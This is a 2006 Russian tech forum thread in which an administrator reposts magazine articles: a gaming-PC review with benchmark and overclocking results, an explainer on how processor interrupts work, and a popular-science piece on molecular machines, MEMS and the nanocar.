Огромное спасибо компании R.LAB за гостеприимный прием нашей команды (Nititoz, Step, Gorl). Парни во всех подробностях рассказали нам о восстановлении данных с HDD/RAID/флэш-накопителей, показали оборудование и используемый софт, а позже напоили нас чаем с тортиком и просто составили веселую компанию. Ознакомиться с услугами компании и найти схему проезда в их офис ты сможешь на сайте www.rlab.ru. Рекомендуем!

DVD

На диске ты найдешь весь софт, необходимый для восстановления данных, а также материалы по теме.




--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 20 2006, 21:26
Сообщение #36


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



KIT GAMER 430Комп для хакеров, которые жестко гамают

Технические характеристики:

Процессор, ГГц: 3.4, Intel Pentium D 950

Память, Гб: 4, DDR2-533 Kingston Dual Channel

Системная плата: ASUS P5WD2 Premium (Intel i995X)

Видеоплата, Мб: 512, Sapphire ATI Radeon X1900XT

Жесткий диск, Гб: 2x400, Seagate Barracuda

Аудиоплата: Realtek ALC882/D/M, Intel 82801GB ICH7, High Definition Audio

Сетевая плата: 2xGigabit LAN

Оптический накопитель: DVD+\-RW NEC ND-4571A

Дополнительно: кардридер 5-in-1, два вентилятора на корпусе, замок на корпусе, безвинтовая сборка-разборка и установка устройств

Собрать мощный компьютер, который мог бы выполнять абсолютно любые задачи, и при этом позволял бы гонять в самые современные игры – мечта каждого. Но тут сразу возникает масса проблем, в основном это выбор подходящих комплектующих. На рынке масса новинок, устройства устаревают быстрее, чем ты успеваешь накопить деньги. Поэтому пока ты определялся с выбором, например процессора, на прилавках появилось три новых, а еще пять обещают выпустить в ближайшие дни. Что же делать? Отказаться от своей идеи? Конечно же, нет! Просто нужно часть проблем переложить на чужие плечи. То есть приобрести готовый ПК самой мощной конфигурации, что-то в ней незначительно изменив. Голова пусть болит у сборщиков, а ты просто будешь наслаждаться приобретением. Компьютер KIT GAMER 430 обладает современнейшей начинкой, которая предоставит тебе неограниченные возможности в играх и других приложениях.

Методика тестирования

Подключив системный блок и установив все необходимые драйвера, мы стали внимательно изучать систему. Во-первых, это визуальный осмотр корпуса и его внутренностей: как собран, много ли свободного места, что установлено, есть ли разные дополнительные вещи, вроде вентиляторов и безвинтовых креплений. Второй этап гораздо серьезнее – это тестирование на производительность. В качестве тестовых приложений мы использовали синтетические тесты компании Futuremark: 3DMark 2003, 3DMark 2005, 3DMark 2006 (в основном нагружают графическую подсистему) и PCMark 2005 (комплексный тест всего ПК) – они запускались с «дефолтными» настройками качества. Кроме того, использовались игры Doom 3, Far Cry, F.E.A.R. и Half-Life 2, которые прогонялись в довольно тяжелом режиме - максимальные графические настройки и разрешение 1600x1200.

Но и на этом мы не остановились. По окончании тестирования был проведен комплексный разгон системы: процессор с 3,4 ГГц был «ускорен» до 4,08 ГГц (FSB 240 МГц), память при этом успешно работала в режиме DDR600. У видеокарты частоты были повышены с 500 до 570 МГц для GPU и с 595 до 711 МГц для памяти. Естественно, для осуществления задумки пришлось немного поднять напряжения питания: для чипа на видеокарте оно составило 1,250 вместо 1,175 В, для процессора – 1,45 В против дефолтных 1,33 В.

Результаты тестов

3DMark'03, баллы: 18175

3DMark'05, баллы: 9416

3DMark'06, баллы: 5583

PCMark'05, баллы: 5926

Doom 3, FPS: 89.2

Far Cry, FPS: 138.2

Serious Sam 2, FPS: 102

Half-Life 2, FPS: 133.57

WinRAR, Kbps: 534

WinRAR Multithreaded, Kbps: 820

Lame, сек: 21

Результаты тестов (разгон)

3DMark'03, баллы: 18539

3DMark'05, баллы: 10402

3DMark'06, баллы: 5738

PCMark'05, баллы: 6744

Doom 3, FPS: 93.2

Far Cry, FPS: 151.56

Serious Sam 2, FPS: 118.9

Half-Life 2, FPS: 143.09

WinRAR, Kbps: 552

WinRAR Multithreaded, Kbps: 873

Lame, сек: 17

Процессор

Созданный по 65 нм технологии, двуядерный Intel Pentium D 950 для разъема LGA775 обладает ярко выраженной силой. На каждом из его горячих и быстрых сердец расположено по 2 Мб кэш-памяти второго уровня, тактовая частота составляет 3,4 ГГц, а шины – 800 МГц. Кроме того, он поддерживает такие фирменные разработки Intel, как виртуализация, Enhanced SpeedStep, EM64T и Execute Disable.Bit.

Память

Памяти тут целых 4 Гб DDR2-533, установлена она в четырех гнездах (работает в двухканальном режиме). Такого количества быстрой ОЗУ хватит для выполнения любых задач, что в сочетании с мощью других комплектующих обеспечит тебе долгое отсутствие необходимости проведения модернизации.

Видеоплата

Монструозное устройство от компании Sapphire, в конструкции которого использованы чип ATI Radeon X1900XT и 512 Мб быстрой памяти DDR3. Помимо скорости работы, велики и габариты платы: она очень длинная, а массивная система охлаждения занимает два слота на матери. Также ей требуется дополнительное питание. Впрочем, все эти особенности, благодаря хорошему корпусу и мощному БП, никак не осложнят жизнь пользователю. А вот результаты тестов его наверняка впечатлят, особенно малое падение производительности при включении режимов АА и АF (это тяжелые режимы, которые значительно повышают реалистичность). А благодаря возможности повышения напряжения питания чипа и памяти с помощью софта девайс имеет немалый разгонный потенциал!

Системная плата

На плате ASUS P5WD2 Premium имеется абсолютно все. Это и двухканальный режим работы памяти DDR2, и технология ATI CrossFire – так что о скорости работы системы думать не приходится. Кроме того, имеется контроллер SATA-2 вместе с возможностью создания RAID-массивов, 8-канальный звуковой кодек и два сетевых гнезда. Нельзя не отметить и массу фирменных решений и технологий ASUS, которые применены в устройстве: они сделают использование платы более быстрым, надежным и удобным. Среди них каждый найдет для себя что-то полезное – и оверклокер, и начинающий пользователь.

Накопители

Да, о таком раньше можно было только мечтать – два жестких диска Seagate Barracuda объемом 400 Гб, объединенные в RAID-массив. Теперь проблема свободного места отпадает начисто! Благодаря фирменным технологиям ASUS обеспечивается безопасность информации, а интерфейс SATA-2 отвечает за скоростную работу дисковой подсистемы. Оптическим приводом здесь является универсальный DVD-накопитель, который умеет читать и записывать любые форматы болванок, включая двухслойные. Не стоит забывать и о такой приятной вещи, как пятиформатный кардридер.

Аудиоплата

Звуковая подсистема устройства представлена встроенным в системную плату 7.1 кодеком. Конечно, это не студийное оборудование, но для домашнего использования он вполне сгодится. Кроме того, удобство использования – штекер можно вставить в любой разъем, а настроить все соответствующим образом позволит специальная утилита. Сделать это легко – графический интерфейс прост и понятен

Блок питания

Мощному ПК – мощный БП! В данном устройстве установлен 460 Вт блок питания производства компании FSP, который стабильно запитывает весь компьютер, включая сильную видеоплату, нуждающуюся в дополнительном источнике энергии. Благо ее тут хватает, а обширный пучок проводов, где есть все необходимые разъемы, позволяет обойтись без переходников.

Корпус

Внутреннее убранство корпуса: кабели аккуратно свернуты, устройства устанавливаются без помощи винтов и отвертки. Спереди и сзади установлены дополнительные вентиляторы, а тепло от процессора выводится наружу через специальный раструб на боковой стенке. На переднюю панель выведены порты USB, FireWire и аудиоразъемы, а также кардридер. Кроме того, корпус сам по себе довольно симпатичный, выкрашен в черный и серый цвета.

Выводы

Как показали тесты, система КИТ GAMER 430 на все сто процентов оправдывает свое название. Благодаря мощным компонентам она легко справляется как с самыми современными сложными играми, так и с большинством современных приложений. Еще один плюс – неплохой оверклокерский потенциал данной машины, обусловленный хорошо разгоняемым процессором и видеокартой, снабженной качественным кулером и возможностью повышения напряжений питания. В общем, если ты увлекаешься современными «стрелялками» и не представляешь себе, как можно опускать планку качества изображения ниже максимальной, данная «тачка» как раз для тебя.




--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 20 2006, 23:20
Сообщение #37


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Прервись на минуткуРабота прерываний в операционных системах

Не секрет, что прерывания являются важнейшей частью работы операционной системы. Но задумывался ли ты, что это такое? Для чего они нужны и как работают? Едва ли.

[прерывание и исключения]

В архитектуре любого процессора предусмотрены особые случаи, когда процессор прерывает выполнение текущей программы и немедленно передает управления программе-обработчику, специально написанной для обработки подобной ситуации. Такие ситуации встречаются сплошь и рядом. Чтобы это осознать, предлагаю немного пофантазировать. Абстрагируйся от современных многозадачных систем, оснащенных мощными системными планировщиками. Просто представь, что всего этого не существует — есть лишь «голая» однопроцессорная система. Если этой системе дать невыполнимое задание, скажем, подсчитать точное значение числа Пи, то она будет выполнять его целую вечность. Рано или поздно, этот процесс придется остановить, но как? Процессор не реагирует ни на что — он пыхтит над заданном ему заданием. Вот тут-то и потребуется прерывание. Ты жмешь нужную клавишу на клавиатуре — это нажатие обрабатывает контроллер клавиатуры, который передает процессору специальный сигнал «нажата клавиша». Этот сигнал с сообщением, по большому счету, и есть прерывание. Оно понятно процессору, поэтому его внутренние механизмы прерывают выполнение текущей последовательности команд и обращаются к специальной подпрограмме - обработчику прерывания. В нашем случае это обработчик прерывания клавиатуры. По умолчанию в нем прописано много всякой всячины (например, перезагрузка по Ctrl-Alt-Del), но для того, чтобы реализовать остановку процесса, необходимо его немного видоизменить. Достаточно добавить туда обработку нужной нам клавиши, обозначив для нее действие «создать флаг завершения вычислений» — и готово. Теперь, когда управление возвратится обратно в программу, она получит останавливающий ее флаг и прекратит вычисления.

Подобных подход активно использовался программистами под DOS. Сейчас, когда механизмы многозадачности возложены на саму ОС, в нем нет прямой необходимости. Да и обратится к обработчикам прерывания напрямую уже не так легко.

Вместе с тем прерывания по-прежнему выполняют ведущую роль в планировании процессов — просто ты этого не замечаешь.

[типы прерываний]

Рассмотренное нами прерывание — это лишь частный случай. На самом деле прерывания в компьютере бывают самые разные, и их даже можно классифицировать. В зависимости от источника, они делятся на три больших класса: внешние, внутренние и программные.

Внешние прерывания инициируются сигналами от аппаратных устройств (вернее их контроллеров): всевозможных устройств ввода-вывода, внешних накопителей, различной периферии (принтеров, сканеров) и т.д. Именно поэтому внешние прерывания также называют аппаратными. Необходимость в них наглядно демонстрирует пример выше. Нажатие клавиатуры обязательно должно быть зафиксировано — ведь оно по идеи должно влиять на процесс дальнейших вычислений. Такие прерывания возникают между выполнением двух соседних инструкций, а после их обработки система продолжает выполнение процесса, начиная со следующей инструкции.

Внутренние прерывания, они же исключения (exeption), возникают в результате аварийной ситуации в ходе выполнения некоторой инструкции самой проги. Примерами эксепшенов являются деление на нуль, ошибки защиты памяти, обращения по несуществующему адресу, попытка выполнить привилегированную инструкцию в пользовательском режиме и т.п. Если бы не было соответствующих прерываний, то отследить бы и грамотно обработать исключительные ситуации было невозможно.

Что касается программных прерываний, то они возникают при выполнении особой команды процессора. Такие прерывания используются программистом намеренно — в нужном участке кода он просто вставляет ассемблерную команду INT, указывая после нее номер прерывания.

[приоретизация и маскирование прерываний]

У прерываний есть приоритет, с помощью которого они ранжируются по степени важности и срочности. Прерывания с одинаковым приоритетом относятся к одному уровню приоритета прерываний. Механизм прерываний должен поддерживать приоритезацию и маскирование прерываний. Приоритезация подразумевает, что все существующие источники, «рождающие» прерывания подразделяются на классы, а этим классам в свою очередь назначаются соответствующие уровни приоритетов запросов на прерывания. Приоритеты могут обслуживаться как относительные и абсолютные. Обслуживание запросов прерываний по схеме с относительными приоритетами заключается в том, что при одновременном поступлении запросов прерываний из разных классов выбирается запрос, имеющий высший приоритет. Причем обработчик прерывания ни при каких условиях не может быть остановлен. В случае, когда более приоритетным прерываниям разрешается приостанавливать работу процедур обслуживания менее приоритетных прерываний, имеет место приоритезации с абсолютными приоритетами.

Упорядоченное обслуживание запросов прерываний наряду со схемами приоритетной обработки запросов может выполняться механизмом маскирования запросов. Собственно говоря, в описанной схеме абсолютных приоритетов выполняется маскирование - при обслуживании некоторого прерывания все запросы с равным или более низким приоритетом маскируются, то есть не обслуживаются. Схема маскирования предполагает возможность временного маскирования прерываний любого класса независимо от уровня приоритета. На практике это предоставляет массу возможностей.

[обработка на практике]

Вот обобщенная последовательность действий аппаратных и программных средств по обработке прерывания. Сначала происходит первичное распознавания типа прерывания. В том случае, если прерывания подобного типа в данный момент запрещены (механизмом маскирования или приоритетной схемой), то центральный процессор продолжает исполнение тех команд, которые идут своим естественным ходом. Иначе, исходя из данных, которые поступили на вход процессора, происходит автоматический вызов обработчика прерывания, адрес которой находится в специальной таблице операционной системы (таблица векторов прерываний).

Далее автоматически сохраняется определенная часть контекста прерванного потока, которая позволит ядру возобновить процесс после обработки возникшего прерывания. Сохраняются значения счетчика команд, слова состояния машины, хранящего признаки основных режимов работы процессора (пример такого слова - регистр EFLAGS в Intel Pentium) и т.д.

Затем адрес обработчика прерывания загружается в счетчик команд, а в системные регистры загружаются данные, которые определяют режимы работы процессора при обработке прерывания.

После того как прерывание обработано ядром операционной системы, прерванный контекст восстанавливается, и работа потока возобновляется с прерванного места. Часть контекста восстанавливается аппаратно по команде возврата из прерываний (например, адрес следующей команды и слово состояния машины), а часть - программным способом, с помощью явных команд извлечения данных из стека.

Правильное планирование процедур, вызываемых по прерываниям, – необходимое условие того, чтобы пользовательские потоки были спланированы правильно. Иначе в системе возможно появление таких ситуаций, когда операционная система будет длительное время занята какой-нибудь задачей управления стримером, сжимающим данные, в то время, когда высокоскоростной диск будет попросту простаивать. Тем самым будет заторможена работа многочисленных приложений, которые по своей природе вынуждены обмениваться данными с этим диском. Для того чтобы упорядочить работу обработчиков прерываний, в операционных системах используют такой же способ, что и для упорядочения работы юзерских процессов – механизм приоритетных очередей.

[это нужно знать!]

Любой уважающий себя кодер должен понимать как, когда и зачем происходят прерывания. Без этого практически невозможно ловить exeption’ы, правильно строить код, работающий тесно с процессором. Работе с прерываниями практически любому программисту, ну и хакеру соответственно, приходится уделять много времени. Они существенно увеличивают эффективность и стабильность вычислительной системы.

[программные прерывания]

Программные прерывания позволяют передать управления подпрограмме с помощью специализированной инструкции процессора, такой как INT в процессорах Intel Pentium. При выполнении подобной команды процессор начинает обрабатывать такую же последовательность команд, как и при возникновении внешнего или внутреннего прерывания, различие лишь в том, что прерывание происходит в предсказуемой, заранее известной точке программы. Следует четко понимать, что оно происходит именно в том месте, где программист помещает данную команду. Отмечу, что все современные процессоры обладают инструкциями программных прерываний в системе команд. Инструкции программных прерываний появились в системе команд с той целью, чтобы сделать код программ зачастую более компактным в сравнении с использованием стандартных команд выполнения процедур.

Это легко объяснить тем, что разработчики процессора, как правило, резервируют для возможности обработки прерываний некоторое количество подпрограмм таким образом, что длина операнда в команде программного прерывания, который указывает на нужную подпрограмму, меньше, чем в команде перехода на подпрограмму.

Например, в процессоре х86 (возьмем его для наглядности) предусмотрена возможность применения 256 программ обработки прерываний, поэтому в инструкции INT операнд имеет длину в один байт (а инструкция INT 3, которая предназначена для вызова отладчика, вся имеет длину один байт). Значение операнда команды INT просто является индексом в таблице из 256 адресов подпрограмм обработки прерываний, один из которых и используется для перехода по команде INT. При использовании команды CALL потребовался бы уже не однобайтовый, а двух- или четырехбайтовый операнд. Другой причиной применения программных прерываний вместо обычных инструкций вызова подпрограмм является возможность смены пользовательского режима на привилегированный одновременно с вызовом процедуры - это свойство программных прерываний поддерживается большинством процессоров.

INFO

Программные прерывания часто используются для выполнения ограниченного количества вызовов функций ядра операционной системы, то есть системных вызовов.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 21 2006, 12:54
Сообщение #38


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Молекулярные машины


Однажды мне под руку попалась книжка об украинском дядьке-миниатюристе Николае Сядристом, который в 60-е годы прошлого века делал такие миниатюры, что не снились многим сегодняшним спецам с новейшим оборудованием. Посмотрев на его работы, я нашел не только электродвигатель размерами с муравья (это в 60-е годы-то!), но и другие интересные вещи: написание всяких слов на человеческом волосе, подковывание блох, изготовление шахматной доски с такими мелкими фигурками шахмат, что их было плохо видно даже в микроскоп. Один экспонат неизменно повергает в изумление всех, кто его видит впервые: муляж настоящей розы, помещенный в высверленный (!) человеческий волос.

Как рассказывал дедушка в своей книжке, до сих пор у него нет инструментов лучше, чем набор иголок и обычный оптический микроскоп, и что нужные инструменты он делал сам с помощью тех же иголок.

И вот возникла у меня мысль: почему же тогда, уже с того времени не появилось видеокамер размером с ноготь, тех же мобилок или роботов размером с муху? Или почему не сделали разных имплантатов и не напихали их в свой организм?! Правда, тогда еще было неясно, зачем их пихать в организм. Но идеи о переделке тела уже витали в воздухе.

Наверняка всяческие разведки знали о достижениях дедушки, но никто не смог употребить их себе во благо. Странно, ведь с таким заделом можно было шпионить за всеми и каждым в отдельности. Но что-то не сложилось, и у дедушки осталась только выставка в Киеве возле Лавры. Интерес у ученых к разным микроподелкам возник сразу после изобретения простейшего оптического микроскопа. Про начало миниатюризации писал в свое время Лесков в «Левше». Но тогда подковка блох была делом трудным и кропотливым, а с появлением сканирующего туннельного микроскопа начался настоящий блошиный бум.

Сканирующий туннельный микроскоп представляет собой камеру, заполненную вакуумом, в которой маленький щуп перемещается вдоль пластинки с образцом, причем образец должен обязательно проводить электричество. Между подложкой и щупом создают разность потенциалов, и через вакуум между ними протекает туннельный ток, значение которого меряют, оцифровывают и выводят на экран. В результате получается картинка микрорельефа, на которой можно видеть даже отдельные молекулы и атомы.

Но работать с таким девайсом трудно из-за того, что не все на свете проводит электричество. Например, биологические объекты - ДНК, вирусы, бактерии, белки и пр. - его не проводят. Для этих случаев используют атомно-силовой микроскоп, который работает таким же точно образом, как слепой дедушка читает книгу, написанную шрифтом Брайля (для слепых).

Его щуп в буквальном смысле «ощупывает» поверхность, а на него сверху светят лазером и по значению отклонения луча составляют трехмерную картинку рельефа поверхности.

Вот только незадача: в микромире гораздо легче что-то подсмотреть, чем сделать. Поэтому изготовление и дальнейшее подковывание электронных блох – египетский труд.

Вот и получается, что до появления фотолитографии, с помощью которой делают сегодня практически все микромеханизмы, у дедушки Сядристого не было и не могло быть конкурентов. Ведь кому нужна сверхминиатюрная камера или двигатель в единичном экземпляре, только одну деталь для которой делают года три? Естественно, никому.

[запчасти из атомного ЛЕГО]

Любой девайс, кроме ложки, вилки и гири, состоит из запчастей. Это — аксиома. Так что даже самый простой электромеханический робот размерами с эритроцит должен содержать в себе уйму всяких деталек. Чтобы впихнуть в робота и мозги, и манипуляторы, и даже простенькую систему навигации, нужно будет здорово постараться, а именно: все его части будут сделаны с атомарной точностью, то есть при конструировании деталей надо сперва разработать атомный чертеж, по которому в будущем будут собирать отдельные части роботов.

Сейчас этой довольно хитрой наукой занимается целое направление в молекулярной химии и нанотехнологии. Называется оно «математическое моделирование наноструктур и наносистем».

Говоря проще, ученые рисуют в специальных прогах модели подшипников, двигателей, манипуляторов, компьютеров, состоящие из отдельных атомов. А проги сами их проверяют на достоверность и рисуют модель того, что получилось, то есть показывают, как будет выглядеть та или иная деталь под атомно-силовым или электронным микроскопом.

Труд этот очень нудный и долгий. Иные запчасти состоят из нескольких тысяч атомов, каждый из которых нужно «впихнуть» на ему полагающееся место. При этом нельзя забывать о таблице Менделеева: атомы могут соединяться друг с другом только в определенном количестве. Например, углерод в органике имеет валентность 4. Это означает, что к нему можно присобачить только 4 других атома одинарной химической ковалентной связью.

Конструирование даже самого простого подшипника - еще тот пазл. Даже если выстроить атомы так, как нам завещал великий Менделеев, то при проверке их прогой на достоверность может оказаться, что в реале деталь будет другой формы! То есть делали мы круглый подшипник, а он вдруг начинает съеживаться и превращаться в нечто бесформенное. Такие «волшебства» связаны с тем, что любая атомная структура принимает в пространстве такую форму, чтобы минимизировать свою поверхностную энергию. Вот и выходит: собирал целый день подшипник или простой стержень, а он развались.

Но, несмотря на эти трудности, уже создан внушительный каталог разных молекулярных машин. На первый взгляд это занятие кажется бессмысленным: зачем рассчитывать такие структуры, когда их пока невозможно сделать? История развития таких исследований показала, что, когда появляются нужные инструменты, много времени тратится на возню с прототипами, которые делают методом проб и ошибок. Поэтому разрабатывать принципиально рабочие схемы надо уже сегодня, чтобы через 10 лет не тратить время на всякие эксперименты, а сразу запустить руку в обширный каталог запчастей и сварганить, к примеру, нанокомпьютера или наноробота попроще.

Вот, к примеру, простая модель – обычный подшипник, который часто и густо используют в разных механизмах. Главное отличие наноподшипника от обычного – то, что он состоит только из двух частей: внутренней и внешней. Так что круглых красивых шариков, которыми мы стреляли в детстве из рогатки, ты там не увидишь – сила трения атомных оболочек настолько мала, что он будет сам вращаться даже от теплового движения молекул при комнатной температуре!

Так вышло, что в атомном ЛЕГО присутствует только несколько видов атомов-игроков, а не вся таблица Менделеева. Самые распространенные из них: углерод, водород, кислород, сера, азот, фосфор и некоторые металлы.

Ты можешь с помощью специальной проги RazMol посмотреть все эти модельки, повертеть их в 3D и даже сделать свои, если закачаешь Trial-версию ChemOffice 2006.

Вот еще один более сложный девайс: молекулярный насос, который качает только газообразный неон. Он устроен по типу мясорубки: ты можешь видеть внутренний ротор-шнек со специально выбранными расстояниями между спиралями, подходящими аккурат к размеру молекулы неона. Выходит, куда бы ты ни поместил такой насос, он будет качать только молекулы определенного типа.

Есть еще планетарные редукторы, которые даже невозможно представить как модели: число атомов может достигать до нескольких тысяч.

Но, без сомнения, самый крутой и нужный девайс в этих разработках – наноманипулятор, спроектированный по типу руки робота.

Очень большой геморрой ожидает тех, кто будет собирать первый рабочий девайс. Это надо будет делать практически вручную, так как для того, чтобы сделать сборщика, нужен другой сборщик, а его еще не сделали smile.gif.

[первые шаги – МЭМС]

Первые шаги по направлению вниз уже сделаны. И называются они МЭМС, то есть микроэлектромеханические системы. Их производят уже двадцать пять лет – с тех пор, как только достаточно развилась технология фотолитографии, с помощью которой делают сегодня процессоры. Чтобы ты не думал, что блох подковывать – дело пустое и достойное всяких левшей-крэйзи, вот справка: рынок многофункциональных МЭМС-систем за прошлый год составил 68 миллиардов убитых енотов (по данным Network of Excellence in Multifunctional Microsystems - NEXUS) и продолжает расти.

Конечно, для того чтобы сделать что-то серьезное и получить прибыль, нужно попотеть (а где не нужно?).

Первыми, кто что-то начал делать с МЭМС, были, естественно, военные. Можно сказать, что под их опекой МЭМС развиваются довольно быстро и широко применяются в военной технике.

Например, все современные системы навигации работают благодаря инерционным измерительным устройствам на МЭМС-основе. Система из трех гироскопов и трех МЭМС-акселерометров, связанная с GPS, представляет собой навигационный блок.

Также МЭМС-сенсоры используются в системе мониторинга и охраны заданной территории от вторжения в любых погодных условиях. Ранее разработанная система дистанционных сенсоров Improved Remote Battlefield Sensor System (IREMBASS) была дорогостоящей и крупногабаритной. Компания L-3 Communications Inc. разработала REMBASS II, которая использует МЭМС для сокращения размеров сенсоров
Знаменитый беспилотник Global Hawk работает именно на системе с МЭМС-акселерометрами.

Компания Crossbow, специализирующаяся на разработке различных электронных устройств, продает систему навигации NAV420, которая позволяет дистанционно управлять практически любой военной техникой. Ее уже используют в управлении беспилотными самолетами Global Hawk, в новых машинах типа Hummer, управляемых дистанционно, а также в опытных образцах морских разведывательных судов. Особенно много хороших отзывов о работе навигатора в плохую погоду и шторм, когда пилоту трудно посадить самолет на авианосец. Встроенный GPS выдает точные координаты, скорость и высоту той машины, на которой установлен.

Все это благодаря МЭМС-сенсорам, которые играют очень важную роль в системах навигации.

Кроме сенсоров, МЭМС – это, в большинстве своем, различные моторчики, переключатели, шестеренки и прочая дребедень.

Компании, изготавливающие МЭМС, часто проделывают рекламные трюки. Вот подковывать блоху мы уже умеем. А слабо прокатить эту же блоху на карусели?

Чтобы привлечь к себе внимание, крупнейшая компания по выпуску и разработке МЭМС — МЕМХ-лаборатория — сварганила систему шестеренок с диском в центре. Вся эта механика довольно забавно крутилась, и тогда один из крэйзи предложил наловить на кладбище клещей и усадить их на диски, чтобы покатать.

Сказано – сделано. В те годы (примерно 1996 год) это достижение было не только рекламным трюком, но и демонстрацией возможностей фирмы. Надо ли говорить, что после этого аттракциона у фирмы клиентов прибавилось?

Но это было в далеких девяностых. Сегодня же вместо МЭМС широко используются НЭМС – наноэлектромеханические системы.

Уже созданные быстродействующие НЭМС-акселерометры будут использоваться в военной экипировке будущего поколения с целью детектировать удар пули о бронежилет настолько быстро, чтобы успел включиться внешний экзоскелет костюма.

Военные машины предполагают оснастить специальной "электромеханической краской", которая позволит им менять цвет наподобие хамелеона, а также предотвратит коррозию и сможет "затягивать" мелкие повреждения на корпусе машины. "Краска" будет состоять из большого количества наномеханизмов, которые будут выполнять все вышеперечисленные функции.

А с помощью системы оптических матриц, которые будут отдельными наномашинами в "краске", исследователи хотят добиться эффекта невидимости машины или самолета. Миниатюрные камеры будут считывать изображение с одной стороны устройства, передавая его на фотоэлементы на другой стороне, формируя таким образом изображение заднего фона впереди машины. Кульно, правда? Первые испытания прототипа уже проходят! А внедрение его на поле боя - в 2009.

[нанобагги]

Спускаться вниз по размерной лестнице очень трудно. В прошлом году ученые из университета Райса совершили прорыв в наномеханике. Они синтезировали наименьшую в мире движущуюся наномашину, которая ездит как настоящий автомобиль.

Многие серьезные ученые и исследователи, знакомые с современным состоянием нанотехнологий и НЭМС, сначала в это не поверили, ведь до сих пор ученым не удавалось сделать что-то сложное. А тут – легковушка, состоящая из одной молекулы, размером 4 нанометра! Для серьезного дядьки-ученого это практически невозможно! Ведь 4 нанометра – это всего лишь отрезок, на котором можно поместить около 40 атомов водорода, и это чуть больше, чем толщина ДНК!

Но это правда. Глава ученых Джеймс М. Тур смог доказать свое открытие – колесящие багги под дулом электронного микроскопа были выставлены на обозрение любому желающему.

Автомобиль же - большая молекула-наносистема, состоящая из трехсот атомов, она похожа на машину только наличием четырех "колес" и способом передвижения.

В качестве колес легковушке служат фуллерены, молекулы С60, похожие на футбольный мяч, связанные химическими связями с "каркасом" машины.

Синтез и тестирование наномашины поможет значительно ускорить производство таких сложных структур, как нанофабрики или нанороботы, методом сверху-вниз. А это, в свою очередь, означает практическое внедрение микроскопических машин в твою жизнь.

Вообще, искусственные объекты такого маленького масштаба, напоминающие внешне автомобили, уже были синтезированы химиками. Но этот автомобиль – первый действующий, он катится по поверхности так же, как катятся автомобили на своих колесах.

Исследователи придумали оригинальный метод приведения в движение наномашины: они нагрели ее до 200° С, что вызвало вращение фуллеренов-колес на химических связях, соединяющих их с "рамой машины". От вращения четырех молекул легковушка пришла в движение и смогла катиться по плоской золотой поверхности.

Чтобы убедиться в том, что машина действительно ездит, а не скользит, и ее передвижения связаны с вращением фуллеренов-колес, ученые засунули полигон с машинками под сканирующий туннельный микроскоп.

Каждую минуту ученые получали с него снимки машин, доказывающие, что колеса действительно вращаются, и благодаря их вращению машина может ехать!

Более того, наномашину можно подцепить зондом микроскопа, как краном, и перемещать с места на место. Естественно, что она легче входит в соединение с зондом, когда захват происходит по направлению движения машины (проверено учеными).

Восемь лет группа ученых совершенствовала технику производства наномашин, и вот наконец их попытки увенчались успехом. Удалось найти решение проблемы несовместимости палладиевых катализаторов, помогающих собирать раму машины, с молекулами фуллеренов, которые тормозят синтез молекулы. Но методом проб и ошибок это затруднение все же было преодолено.

Ученые уверены: машина сможет перевозить молекулярные грузы в различных направлениях, что найдет применение в наноконвейерах, нанофабриках и других сложных наносистемах. Также она может служить платформой для различных мобильных наносистем: нанороботов, наноманипуляторов. Представь себе: прикрепив на ее хребет наноманипулятор, мы получаем мобильную сборочную станцию!

В качестве энергетической подпитки исследователи хотят использовать дистанционные батарейки - направленные пучки фотонов - вместо нагревания среды, в которой находятся машины. Так появится возможность дистанционно ими управлять и координировать их перемещения с высокой степенью точности
кошмары принца Чарльза]

Ну, конечно, багги – дело хорошее, однако что будет, если один умный крендель приварит к машине с молекулярным манипулятором еще и слабенький компьютер, способный выполнять одну-единственную программу: собирать из окружающих атомов такие же машинки? А потом, представь, они расползутся и под благодатными и полезными солнечными лучами будут клепать свои копии, пока все вокруг не превратится в автомонстров?

«Ответим агрессорам первыми! – сказал прынц Чарльз. - Не дадим механическому отродью разобрать нас на молекулы!» И теперь, по крайней мере, в Объединенном Королевстве, гады не тронут местное население, ведь что может быть страшнее злого принца Чарльза? Местным ученым это очень не понравилось, и они втайне от принца стали подпольно варить механическое зелье, на которое потом не найдешь управы.

Вот такие они, сказки нового века.

То ли еще будет. Оставайтесь с нами.

Для CD:

RazMol – прога для просмотра моделей в pdb-формате +Набор молекулярных моделей

DANGER:

Как посчитал ученый Роберт Фрайтас, молекулярные машины-агрессоры смогут переделать всю биомассу Земли в свои копии всего за два года. У тебя еще есть время попить пива с друзьями ?

WWW:

Галерея украинского микроминиатюриста Сядристого: http://www.microart.kiev.ua

Институт предвиденья с молекулярными моделями: http://www.foresight.org

ChemOffice 2006 Trial – аццкая прога, в которой собирают молекулярные машины http://scistore.cambridgesoft.com/software...ct.cfm?pid=4013

МЭМС - «Многоножка» от IBM

